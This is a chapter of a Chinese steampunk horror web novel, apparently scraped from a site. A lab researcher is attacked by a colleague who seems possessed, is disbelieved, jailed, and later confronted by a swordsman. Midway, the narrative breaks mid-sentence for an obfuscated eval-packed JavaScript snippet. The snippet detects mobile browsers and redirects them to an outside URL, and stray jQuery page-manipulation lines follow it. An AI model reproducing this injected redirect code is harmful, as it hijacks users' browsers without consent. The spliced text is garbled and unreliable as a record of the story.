154. 城外之城(三)
作品:《审查对象已死亡[蒸汽朋克]》 三天后?
牡蛎号爆炸?
约纳克越是惊慌与恐惧,他所言的真实性就越被林恩认定。
“他不在撒谎。但莱亚不在这里,我也无法确保接下来他的每一句话都是实话!约纳克看上去并不像信徒,那他是怎么能预知到三天之后的事情呢?”
她低头思忖几秒,一把将慌乱的约纳克拽进房间。
“找个隐秘的地方也好——”
话音未落,约纳克就意识到,自己的后颈处骤然传来撞击的刺痛。大脑仅仅晕了一秒,世界便瞬间静止,再也听不到任何声音、捕捉到任何画面了。
“抱歉。”
林恩低声说着,将手掌贴近约纳克的额头。
【我要查看他的记忆。】
……
舰队2纪元19年潮月7日。
牡蛎号。
约纳克如往常一样,在8点整进入0号实验室。在他关闭铁门的一瞬间,门缝中挤进来一张熟悉的面孔。
“早上好,鲁邦教授!”
约纳克热情地打着招呼,一边戴上单片镜,“好几天没见到你了,是去‘太阳号’了,对吗?”
“……嗯。”
过了很久,木讷的鲁邦教授终于发出一声低哼。
约纳克转过头仔细端详着他。
“为什么你的头发是湿的?难不成刚刚洗过头了?要是被加西亚教授看到了,一定会责怪你把水汽带进来——不过没关系,他今天不在这里!”
即便没有回应,约纳克也习惯于独自一人絮絮叨叨地发声。
“嘿嘿,教授和伯恩德两人今天去‘猎犬号’了,据说发现了一种新的异种生物。天呐,感觉我们‘牡蛎号’都会放不下这么多东西了!
“不过呢,今天上午既然只有你我在场,就意味着我可以休息休息!当然,鲁邦教授你一定不会举报我的,是吗?”
约纳克转过头,满脸期待地盯着对方。
“……”
只不过,鲁邦教授今日格外沉默。
——每个人都有心情不好的时候,大概鲁邦教授的舰队城之行并没有那么愉快。
神经大条的约纳克心想道。
他丝毫没觉得有哪里不对劲,只是照例走到自己的位置前,拿起锋利的金属工具刀,慢吞吞对着桌面上的幼年奥隆进行分割。
这一切都必须活体进行,他需要小心分离掉奥隆脆弱的喙,用人造的黄铜喙替代,让它更具有攻击性。
“哦,等一下。”
【19年潮月7日】
约纳克放下工具刀,先用钢笔在牛皮纸上写下第一行。
重新拾起金属工具刀的瞬间,亮涔涔的刀面反射出鲁邦教授逐渐逼近的身影!
嘭——!
危险来袭的瞬间,避险的本能让约纳克猛地避开鲁邦教授的匕首。但他沉重的双腿却撞击在木凳上,径直摔跌倒地。
还没等他爬起来,鲁邦教授已重新举起匕首,狠狠朝他的心脏刺来!
约纳克立即侧身翻滚,但匕首却仍旧擦着他的胳膊划了下来。
“啊!”他吃痛地惨叫道。
血液瞬间喷涌而出,尽数洒在鲁邦面颊上,粘稠又炽热的液体顺着他肥胖的轮廓缓慢向下流淌,却在嘴唇边被拦截。
鲁邦伸出蛇信一般细长柔软的舌头,专心舔舐面颊上的猩红血液。
唇角。
鼻尖。
下巴。
舌头越伸越长,像是被无限拉伸的橡胶,细细地划过他的眼眶,小心翼翼地将每一点残留的人血刮过,又“蹭”一下收回口腔中,美滋滋地品尝起来。
约纳克呆愣在原地,血液冻得四肢都僵硬起来,完全失去了动弹的能力。
甚至,他的脑袋也被冰冻住,一时间不知该作何反应。
——人类有这样的舌头吗?人类能舔到自己的眼睛吗?眼前人真的还是鲁邦教授吗?
接连的问题在约纳克的大脑中横冲直撞,屏蔽了其他念头。
过了一会儿,他才后知后觉地爬起身,跌跌撞撞地推开大门,将鲁邦教授锁在0号实验室内部,一把摁下墙壁上警铃开关!
信号灯不断闪烁出红色灯光,刺耳的尖鸣在走廊中反复撞击。
这一定是场噩梦……
约纳克浑浑噩噩地想着。
“牡蛎号”的驻扎士官纷涌而至,很快,加西亚教授也赶来。
面对满地鲜血,他并未慰问约纳克的伤势,而是用难以置信的残酷语气说道:
“约纳克,你最好是真的遇到事情了。”
“……”
约纳克歪斜着倒在地面上,血液将他身下染的湿红。
“鲁邦教授……他很奇怪!他看上去像是被恶魔附身了,甚至还拿匕首攻击我!”
他吐出一口气,又挣扎着捂住胳膊,“但是,加西亚教授,我已经把他锁在房间里了,你们直接去抓他就行!”
锁在房间?
加西亚教授的眉头没有丝毫放松,浑身透出一股令人窒息的冷硬意味。
“你应该知道,0号实验室里存放的是什么吧?”
约纳克的心脏一寸一寸冷了下来。
0号实验室,是“牡蛎号”保密等级最高的场所,现阶段保存着巨型阿特普斯的触须以及加西亚教授从深海获取的、据说“相当珍贵”的黑色粘液。
约纳克不可置信地盯着加西亚,仿佛头一次见到他——加西亚教授的意思分明是,他约纳克的性命甚至比不上实验室的这些死物!
“好了,把门打开吧!”
随着加西亚教授的一声令下,士兵们轻而易举地撞开了大门。
让所有人意想不到的是,约纳克口中“面目诡异”的鲁邦教授正安然坐在位置上,静静地翻阅着陈年笔记;屋子里干净敞亮,地面被拖得锃亮,不仅咩有约纳克的血迹,甚至空气中也毫无血腥味。
所有人的眼神不约而同地望向约纳克。
迎着质疑、困惑甚至愤怒的眼神,约纳克在医师的搀扶下缓缓站起身,面目惨白地走进实验室内。光是目睹眼前的一切,就让他浑身颤抖、肠胃忍不住痉挛起来。
“……不!我不可能撒谎!”
约纳克疯狂地摇头,手指如抖动地指向鲁邦教授,“是他,真的是他干的!该死,你们为什么不相信我!”
“抱歉,事实就是,你很难被人信任。”
加西亚教授强压住内心的愤怒,转身吩咐手下,“行了,把约纳克带去牢房。没有我的命令,不允许他踏出半步!”
来不及解释更多,约纳克便被两个身着盔甲的士兵牢牢架住,仿佛是晾晒在木杆上飘摇的湿衣服。
他挣扎了两下,却完全无法挣脱开两人的束缚,便只得垂头丧气地任凭加西亚摆布。
刚刚走到门口时,身后却发出“咕叽”的诡异声响,像是薄薄的水膜忽然破裂。
来不及回头张望,厚重的铁门就擦着约纳克的头发“砰”一声合上,0号实验室内的一切声音与画面完全被隔绝,再也没有踪影。
==
舰队2纪元19年潮月9日。
牢房位于“牡蛎号”地下五层,和0号实验室紧紧相邻,平素只会收容受到异种生物精神攻击的研究人员。
约纳克被随机分配的牢房只有五平米不到,房间四壁全是硬邦邦的金属材质。这里没有窗户,唯一的光源只是一盏陈旧的瓦斯灯,在波动的瓦斯供应下光芒闪烁不定。
在这种地方长期生存,即便是正常人也会出现精神崩溃。
而本就受到巨大冲击的约纳克,在大约被关押了两个整天后,终于从胸腔里迸发出一股难以言喻的压抑。
但称得上幸运的是,约纳克胳膊上的匕首创口时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078757|181277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不时带来的疼痛感,竟能抑制住精神的窒息感,让他被迫保持清醒。
“铛铛铛——”
牢房外出现些异动,约纳克立即将耳朵贴紧金属大门,仔细数起钟声的次数。
七下。
现在是七点。
只不过分不清是白天还是黑夜。
饥肠辘辘的约纳克背靠着门板缓缓坐下,暗自纳闷为何下一顿饭迟迟不来。
几近绝望时,他却再次听见了尖锐的警铃声!
不同于他触发的警铃,这次的警报是持续的长鸣,仿佛有无数刀刃在墙壁内刮蹭,又像是金属利爪隔着头皮抓挠自己的颅骨。
作为被捕食者,约纳克本能地抽搐着:
长鸣,代表“牡蛎号”最高等级的一级警报!
它需要通过差分机触发,而只有加西亚才拥有这样的权限,出现误触的概率几乎为零!
难道……“牡蛎号”和舰队城被攻击了?
约纳克下意识猜测道。
只不过,随着警报声的久鸣不止,这种可能性反倒大大降低。
和寻常的攻击相比,外界安静得有些诡异:耳边没有枪炮声,也没有异种生物的嘶鸣,甚至船舱没有出现任何倾斜。
——那么,到底是出了什么事?
独自焦虑的约纳克忍不住站起身,用力拍打着金属门,试图提醒门外驻守的士兵。
“有人吗?”他大声呼喊道。
然而,呼救声被牢牢封锁在狭窄的牢房里。即便是勉强泄露出去,也被爆炸般的警报遮盖住。
约纳克的脸色一下煞白:
如果“牡蛎号”出事,那么他会白白死在牢房里,完全失去逃生的机会。
——但他本可以逃离的。
==
不知过了多久,门外的警报骤然停止!
浑浑噩噩的约纳克从半梦半醒的混沌状态中醒来。
他并不知道时间流逝了多久,只知道自己睡着又苏醒,耳朵也逐渐习惯刺刀般尖锐的警报。
世界刹时安静,他只觉得耳膜肿肿胀胀的,什么都听不清了。
“……有没有人?有没有人救救我?”
他趴在冰凉彻骨的地砖上,对着门外绝望却又气若游丝地嘶喊。
喉咙也痛。
已经很久未曾摄入水分了,喉咙似乎死死贴合起来,光是扯开就花了他许多力气。
“咚、咚咚。”
这是硬皮靴撞击地面的声音!
约纳克抬起头,撑着身子,花费最后一点力气砸着门板。“我在这里!”
“你的名字。”
门外赫然传来陌生的男声!
即便声音里带着不容置疑、毫不客气的严厉,约纳克也完全不在意了。他把门外人当成是救命稻草,只想死死抓住——
“我叫约纳克。”
“0号实验室的约纳克?第一个被深海信徒伤到的研究员?”
“深海信徒?我不知道是什么,我是被鲁邦教授攻击的。”
约纳克回答道,一边小心翼翼掀开纱布,查看胳膊上的伤口:
受伤后,医师曾给他仔细上过药,因此伤口并未发炎化脓。然而,它也没有任何好转的迹象,甚至伤口处隐约带了些深蓝色,仿佛是发霉的苹果。
约纳克不忍再观察,只叹了口气,重新将纱布贴好,又张口问:
“你还在吗?”
“闭嘴。”
听上去,门外的男人很不耐烦。
话音刚落,约纳克眼前固若金汤的铁门竟“嘭”一下被推开!
他的眼前重新恢复光明。
一个高大威武的人影赫然站立在光影之中,手持古朴长剑,另一手握着一枚金灿灿的门把手。
“你救了我——”
还没等约纳克的激动落地,下一秒,长剑便横在他的喉咙上!

